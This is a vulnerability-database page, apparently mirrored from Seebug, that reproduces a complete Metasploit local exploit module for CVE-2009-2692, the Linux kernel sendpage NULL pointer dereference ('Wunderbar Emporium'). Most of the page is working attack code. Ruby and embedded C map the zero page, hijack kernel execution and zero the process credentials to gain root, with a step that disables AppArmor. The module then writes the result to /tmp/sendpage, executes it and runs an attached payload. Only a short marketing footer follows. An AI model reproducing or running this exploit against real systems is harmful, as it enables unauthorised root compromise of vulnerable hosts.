Lucene search
K

Linux Kernel - Sendpage Local Privilege Escalation

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 54 Views

Linux Kernel - Sendpage Local Privilege Escalation AKA Wunderbar Emporiu

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common

	include Msf::Exploit::Local::LinuxKernel
	include Msf::Exploit::Local::Linux
	include Msf::Exploit::Local::Unix

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'Linux Kernel Sendpage Local Privilege Escalation',
				'Description'   => %q{
					AKA Wunderbar Emporium
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'spender',        # wunderbar_emporium.tgz
						'rcvalle',        # sock_sendpage.c
						'egypt'           # metasploit module
					],
				'Platform'      => [ 'linux' ],
				'Arch'          => [ ARCH_X86 ],
				'SessionTypes'  => [ 'shell', 'meterpreter' ],
				'References'    =>
					[
						[ 'CVE', '2009-2692' ],
						[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
						[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
					],
				'Targets'       =>
					[
						[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
						#[ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ],
					],
				'DefaultTarget' => 0,
			}
			))
	end

	def exploit
		sc = Metasm::ELF.new(@cpu)
		sc.parse %Q|
			#define DEBUGGING
			#define NULL ((void*)0)
			#ifdef __ELF__
				.section ".bss" rwx
				.section ".text" rwx
				.entrypoint
			#endif
			call main
			;push eax
			call exit
		|

		# Set up the same include order as the bionic build system.
		# See external/source/meterpreter/source/bionic/libc/Jamfile
		cparser.lexer.include_search_path = [
			"external/source/meterpreter/source/bionic/libc/include/",
			"external/source/meterpreter/source/bionic/libc/private/",
			"external/source/meterpreter/source/bionic/libc/bionic/",
			"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
			"external/source/meterpreter/source/bionic/libc/kernel/common/",
			"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
		]

		cparser.parse(%Q|
			#define DEBUGGING
			// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
			#ifndef __extension__
			#define __extension__
			#endif
			// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
			// Doing #if on an undefined macro is fine in GCC, but a parse error in
			// metasm.
			#ifndef __STDC__
			#define __STDC__ 0
			#endif
			#include <sys/types.h>
			#include <sys/mman.h>
			#include <stdarg.h>
			#include <stdio.h>
			#include <unistd.h>
			#include <errno.h>
			/*
			OpenBSD's strcmp from string/strcmp.c in bionic
			*/
			int
			strcmp(const char *s1, const char *s2)
			{
				while (*s1 == *s2++)
					if (*s1++ == 0)
						return (0);
				return (*(unsigned char *)s1 - *(unsigned char *)--s2);
			}
		|)

		[
			"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
			"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
			"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
			"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
			# This parses without any trouble, but actually calling perror() causes
			# immediate segfaults.
			#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",

			# For some ungodly reason, NULL ends up being undefined when parsing this
			# guy, which of course causes parse errors.
			#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",

		].each do |fname|
			print_status("Parsing c file #{fname}")
			cparser.parse(File.read(fname), fname)
		end

		print_status("Unix socket.h")
		unix_socket_h(sc)
		current_task_struct_h(sc)

		case target.arch.first
		when ARCH_X86
		print_status("syscall wrappers")
			linux_x86_syscall_wrappers(sc)
			main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
	PF_BLUETOOTH,
	PF_APPLETALK,
	PF_IPX,
	PF_IRDA,
	PF_X25,
	PF_AX25,
	PF_BLUETOOTH,
	PF_PPPOX,
	DOMAINS_STOP
	};

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

static unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[256];
	int ret;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL) {
			printf("Unable to obtain symbol listing!\n");
			return 0;
		}
	}

	ret = 0;
	while(ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf(" [+] Resolved %s to %p\n", name, (void *)addr);
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	return 0;
}


static void
change_cred(void)
{
	unsigned int *task_struct;

	task_struct = (unsigned int *)current_task_struct();

	while (task_struct) {
		if (task_struct[0] == uid && task_struct[1] == uid &&
				task_struct[2] == uid && task_struct[3] == uid &&
				task_struct[4] == gid && task_struct[5] == gid &&
				task_struct[6] == gid && task_struct[7] == gid) {
			task_struct[0] = task_struct[1] =
			task_struct[2] = task_struct[3] =
			task_struct[4] = task_struct[5] =
			task_struct[6] = task_struct[7] = 0;
			break;
		}

		task_struct++;
	}

	return;
}

int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{

	got_ring0 = 1;
	if (apparmor_enabled && *apparmor_enabled) {
		*apparmor_enabled = 0;
	}
	change_cred();
	return -1;
}

const char *shellcode =
"";
int shellcode_size = 0;

int main() {
	int i = 0;
	int d;
	int in_fd, out_fd;
	char *mapped;
	char template[] = "/tmp/sendfile.XXXXXX";
	int (*func)();

	uid = getuid(), gid = getgid();

	mapped = mmap(NULL , 0x1000,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
			0, 0
		);
	if (mapped == NULL) {
		printf("Mapped zero page!\n");
	} else {
		exit(1);
	}

	// jmp dword near [dword 0x8]
	mapped[0] = '\xff';
	mapped[1] = '\x25';
	*(unsigned long *)&mapped[2] = 8;
	*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;

	for (i = 0; i < 16; i++) {
		printf("\\\\x%02x", (unsigned char)mapped[i]);
	}
	printf("\n");

	for (d = 0; domains[d] != DOMAINS_STOP; d++) {
		//printf("Next domain ... ");
		out_fd = socket(domains[d], SOCK_DGRAM, 0);
		if (out_fd > 0) {
			printf("Got domain[%d]\n", d);
			break;
		}
		if (out_fd < 0) {
			printf("out_fd: %d, Errno: %d\n", out_fd, errno);
			exit(1);
		}
	}
	unlink(template);
	// Couldn't get mkstemp to work, just use open(2) for now
	in_fd = open(template, O_CREAT | O_RDWR, 0777);
	printf("Opened temp file: %d\n", in_fd);
	unlink(template);
	printf("Calling ftruncate\n");
	ftruncate(in_fd, 4096);

	printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
	printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
	sendfile(out_fd, in_fd, NULL, 4096);
	printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
	printf("UID: %d GID: %d\n", getuid(), getgid());

	func = mmap(NULL, 0x1000,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_PRIVATE | MAP_ANONYMOUS,
			0, 0
		);
	mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
	// weaksauce memcpy so we don't have to #include <string.h>
	printf("Copying %d bytes of shellcode\n", shellcode_size);
	for (i = 0; i < shellcode_size; i++) {
		(char)func[i] = (char)shellcode[i];
	}
	printf("Calling shellcode: 0x%p\n", func);
	//sigtrap();
	func();

	return got_ring0;
}
^
			main.gsub!(/shellcode =/) do
				# split the payload into 16-byte chunks and dump it out as a
				# hex-escaped C string
				%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
			end
			main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
			cparser.parse(main, "main.c")

			asm = cpu.new_ccompiler(cparser, sc).compile

			sc.parse asm
		end

		sc.assemble

		begin
			if sc.kind_of? Metasm::ELF
				elf = sc.encode_string
			else
				foo = sc.encode_string
				elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
			end
		rescue
			print_error "Metasm Encoding failed: #{$!}"
			elog "Metasm Encoding failed: #{$!.class} : #{$!}"
			elog "Call stack:\n#{$!.backtrace.join("\n")}"
			return
		end

		#puts Rex::Text.to_hex_dump(foo)
		File.open("payload.bin", "wb") {|fd|
			fd.write elf
		}
		print_status "Writing exploit executable (#{elf.length} bytes)"
		cmd_exec("rm /tmp/sendpage")
		write_file("/tmp/sendpage", elf)
		output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
		output.each_line { |line| print_debug line.chomp }
		#cmd_exec("rm /tmp/sendpage")

	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation